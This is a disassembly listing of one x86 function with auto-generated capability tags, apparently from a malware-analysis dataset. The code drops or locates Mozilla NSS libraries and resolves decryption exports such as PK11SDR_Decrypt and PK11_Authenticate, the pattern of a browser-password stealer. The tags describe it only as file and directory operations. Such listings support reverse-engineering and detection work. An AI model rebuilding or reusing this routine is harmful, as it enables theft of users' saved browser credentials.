Function at 0x40e331
Capabilities:
Check if file exists
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe3c
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0xe38]
push esi
xor edi, edi
mov ebx, ecx
push edi
push eax
mov dword [ebp - 0x14], ebx
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0xe38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [ebp + 0xc], 1
jne 0x40e74c
cmp dword [ebx + 0xd4], edi
je 0x40e3a6
cmp dword [ebx + 0xc8], edi
je 0x40e3a6
cmp dword [ebx + 0xcc], edi
je 0x40e3a6
cmp dword [ebx + 0xd8], edi
je 0x40e3a6
cmp dword [ebx + 0xc0], edi
je 0x40e3a6
cmp dword [ebx + 0xd0], edi
jne 0x40e74c
mov ecx, dword [0x41e7b4]
lea eax, [ebp - 0x30]
push 5
push dword [ecx + 8]
mov ecx, dword [ecx + 4]
push eax
call fcn.0041780e
cmp dword [ebp - 0x2c], edi
jne 0x40e3cf
lea ecx, [ebp - 0x30]
call fcn.00404081
jmp 0x40eb7d
mov esi, 0x100
lea eax, [ebp - 0xa30]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x430]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x830]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x630]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0xc30]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x230]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
mov esi, 0x519d0
push esi
call fcn.00401000
mov dword [ebp - 0xc], eax
mov dword [esp], 0x217d0
call fcn.00401000
mov dword [ebp - 8], eax
mov dword [esp], 0x6b738
call fcn.00401000
mov dword [ebp + 0xc], eax
mov dword [esp], 0x1303d0
call fcn.00401000
mov edi, eax
mov dword [esp], 0x235d0
mov dword [ebp - 0x18], edi
call fcn.00401000
mov dword [ebp - 0x10], eax
mov dword [esp], 0x14748
call fcn.00401000
pop ecx
push esi
mov esi, dword [ebp - 0x30]
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call fcn.0040126d
add esp, 0xc
lea ecx, [esi + 0x519d0]
push 0x217d0
push ecx
push dword [ebp - 8]
call fcn.0040126d
add esp, 0xc
lea eax, [esi + 0x731a0]
push 0x6b738
push eax
push dword [ebp + 0xc]
call fcn.0040126d
add esp, 0xc
lea eax, [esi + 0xde8d8]
push 0x1303d0
push eax
push edi
call fcn.0040126d
add esp, 0xc
lea eax, [esi + 0x20eca8]
push 0x235d0
push eax
push dword [ebp - 0x10]
call fcn.0040126d
add esp, 0xc
lea eax, [esi + 0x232278]
push 0x14748
push eax
push dword [ebp - 4]
call fcn.0040126d
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x230]
add esp, 0xc
push eax
push 0x100
call edi
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x230]
push str.softokn3.dll
push eax
call esi
lea eax, [ebp - 0x430]
push eax
push 0x100
call edi
push str.msvcp140.dll
lea eax, [ebp - 0x430]
push eax
call esi
lea eax, [ebp - 0x830]
push eax
push 0x100
call edi
push str.mozglue.dll
lea eax, [ebp - 0x830]
push eax
call esi
lea eax, [ebp - 0x630]
push eax
push 0x100
call edi
push str.vcruntime140.dll
lea eax, [ebp - 0x630]
push eax
call esi
lea eax, [ebp - 0xc30]
push eax
push 0x100
call edi
push str.freebl3.dll
lea eax, [ebp - 0xc30]
push eax
call esi
lea eax, [ebp - 0xa30]
push eax
push 0x100
call edi
push str.nss3.dll
lea eax, [ebp - 0xa30]
push eax
call esi
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x40e6d7
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40e6d7
cmp dword [ebp - 8], 0
je 0x40e6d7
cmp dword [ebp - 4], 0
je 0x40e6d7
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x40e6d7
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x40e6d7
cmp byte [edx], 0x4d
push 0x5a
pop eax
jne 0x40e63c
cmp byte [edx + 1], al
jne 0x40e63c
push 0x235d0
lea ecx, [ebp - 0x230]
call fcn.00415d7c
pop ecx
mov ecx, dword [ebp + 0xc]
push 0x5a
pop eax
cmp byte [ecx], 0x4d
jne 0x40e659
cmp byte [ecx + 1], al
jne 0x40e659
mov edx, ecx
lea ecx, [ebp - 0x430]
push 0x6b738
call fcn.00415d7c
pop ecx
mov eax, dword [ebp - 8]
cmp byte [eax], 0x4d
jne 0x40e67a
cmp byte [eax + 1], 0x5a
jne 0x40e67a
push 0x217d0
mov edx, eax
lea ecx, [ebp - 0x830]
call fcn.00415d7c
pop ecx
mov eax, dword [ebp - 4]
cmp byte [eax], 0x4d
jne 0x40e69b
cmp byte [eax + 1], 0x5a
jne 0x40e69b
push 0x14748
mov edx, eax
lea ecx, [ebp - 0x630]
call fcn.00415d7c
pop ecx
cmp byte [edi], 0x4d
jne 0x40e6b9
cmp byte [edi + 1], 0x5a
jne 0x40e6b9
push 0x519d0
mov edx, edi
lea ecx, [ebp - 0xc30]
call fcn.00415d7c
pop ecx
cmp byte [esi], 0x4d
jne 0x40e6d7
cmp byte [esi + 1], 0x5a
jne 0x40e6d7
push 0x1303d0
mov edx, esi
lea ecx, [ebp - 0xa30]
call fcn.00415d7c
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x430]
push eax
call esi
mov dword [ebx + 0xc8], eax
lea eax, [ebp - 0x630]
push eax
call esi
mov dword [ebx + 0xd8], eax
lea eax, [ebp - 0x830]
push eax
call esi
mov dword [ebx + 0xcc], eax
lea eax, [ebp - 0xa30]
push eax
call esi
mov dword [ebx + 0xd0], eax
lea eax, [ebp - 0x230]
push eax
call esi
mov dword [ebx + 0xd4], eax
lea eax, [ebp - 0xc30]
push eax
call esi
push 0x64
mov dword [ebx + 0xc0], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x30]
call fcn.00404081
jmp 0x40ea9a
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x4194e4
lea ecx, [ebp + 8]
call fcn.004043fa
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 8], edi
cmp dword [ebp + 8], edi
je 0x40e790
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call ebx
push str.nss3.dll
lea ecx, [ebp - 8]
call fcn.004043fa
mov dword [ebp - 0xc], edi
cmp dword [ebp + 8], edi
je 0x40e7bf
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call ebx
push str.msvcr120.dll
lea ecx, [ebp - 0xc]
call fcn.004043fa
mov dword [ebp - 0x18], edi
cmp dword [ebp + 8], edi
je 0x40e7ee
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x18], eax
push eax
call ebx
push str.msvcp120.dll
lea ecx, [ebp - 0x18]
call fcn.004043fa
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x40e81d
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call ebx
push str.mozglue.dll
lea ecx, [ebp - 4]
call fcn.004043fa
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], edi
je 0x40e84c
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
push eax
call ebx
push str.softokn3.dll
lea ecx, [ebp - 0x10]
call fcn.004043fa
mov dword [ebp - 0x2c], edi
cmp dword [ebp + 8], edi
je 0x40e87b
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x2c], eax
push eax
call ebx
push str.vcruntime140.dll
lea ecx, [ebp - 0x2c]
call fcn.004043fa
mov dword [ebp - 0x28], edi
cmp dword [ebp + 8], edi
je 0x40e8aa
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x28], eax
push eax
call ebx
push str.msvcp
lea ecx, [ebp - 0x28]
call fcn.004043fa
mov dword [ebp - 0x24], edi
cmp dword [ebp + 8], edi
je 0x40e8d9
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x24], eax
push eax
call ebx
push str.msvcr
lea ecx, [ebp - 0x24]
call fcn.004043fa
mov esi, dword [ebp - 0x28]
push 0x5a
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp + 0xc], edi
test esi, esi
je 0x40e916
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebp + 0xc], eax
call ebx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
call fcn.00404477
push 0x41abc4
mov ecx, eax
call fcn.004043fa
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp + 0xc]
test eax, eax
jne 0x40e953
add dword [ebp - 0x1c], 0xa
call fcn.00406f1d
mov eax, dword [ebp - 0x1c]
cmp eax, 0x96
jne 0x40e8f2
mov edi, dword [ebp - 0x18]
jmp 0x40e97a
test ecx, ecx
je 0x40e975
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push dword [ebp + 0xc]
mov edi, eax
push edi
call ebx
mov ecx, dword [ebp + 0xc]
call fcn.00406f1d
mov esi, dword [ebp - 0x24]
xor ebx, ebx
push 0x5a
pop eax
mov dword [ebp + 0xc], ebx
test esi, esi
je 0x40e9aa
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp + 0xc]
call fcn.00404477
push 0x41abc4
mov ecx, eax
call fcn.004043fa
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp + 0xc]
test eax, eax
jne 0x40e9e7
add dword [ebp - 0x20], 0xa
call fcn.00406f1d
mov eax, dword [ebp - 0x20]
cmp eax, 0x96
jne 0x40e982
mov esi, dword [ebp - 0xc]
jmp 0x40ea14
mov esi, ebx
test ecx, ecx
je 0x40ea0f
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push dword [ebp + 0xc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp + 0xc]
call fcn.00406f1d
push dword [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call ebx
mov ecx, dword [ebp - 0x14]
push esi
mov dword [ecx + 0xd8], eax
call ebx
mov ecx, dword [ebp - 0x14]
push edi
mov dword [ecx + 0xc4], eax
call ebx
mov ecx, dword [ebp - 0x14]
push dword [ebp - 4]
mov dword [ecx + 0xc8], eax
call ebx
mov ecx, dword [ebp - 0x14]
push dword [ebp - 8]
mov dword [ecx + 0xcc], eax
call ebx
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov dword [ebx + 0xd0], eax
call fcn.00406f1d
mov ecx, dword [ebp - 0x28]
call fcn.00406f1d
mov ecx, dword [ebp - 0x2c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, dword [ebp - 4]
call fcn.00406f1d
mov ecx, edi
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebx + 0xd0]
test ecx, ecx
jne 0x40eaab
xor edi, edi
jmp 0x40eb7d
push ecx
mov edx, str.NSS_Init
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_GetInternalKeySlot
mov dword [ebx + 0x84], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_Authenticate
mov dword [ebx + 0x9c], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11SDR_Decrypt
mov dword [ebx + 0x98], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.NSSBase64_DecodeBuffer
mov dword [ebx + 0x8c], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_CheckUserPassword
mov dword [ebx + 0x90], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.NSS_Shutdown
mov dword [ebx + 0x94], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_FreeSlot
mov dword [ebx + 0x88], eax
call fcn.0041473a
mov ecx, dword [ebx + 0xd0]
mov edx, str.PR_GetError
mov dword [ebx + 0xa0], eax
call fcn.0041473a
mov dword [ebx + 0xa4], eax
lea eax, [ebp - 0xe38]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edi, edi
inc edi
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8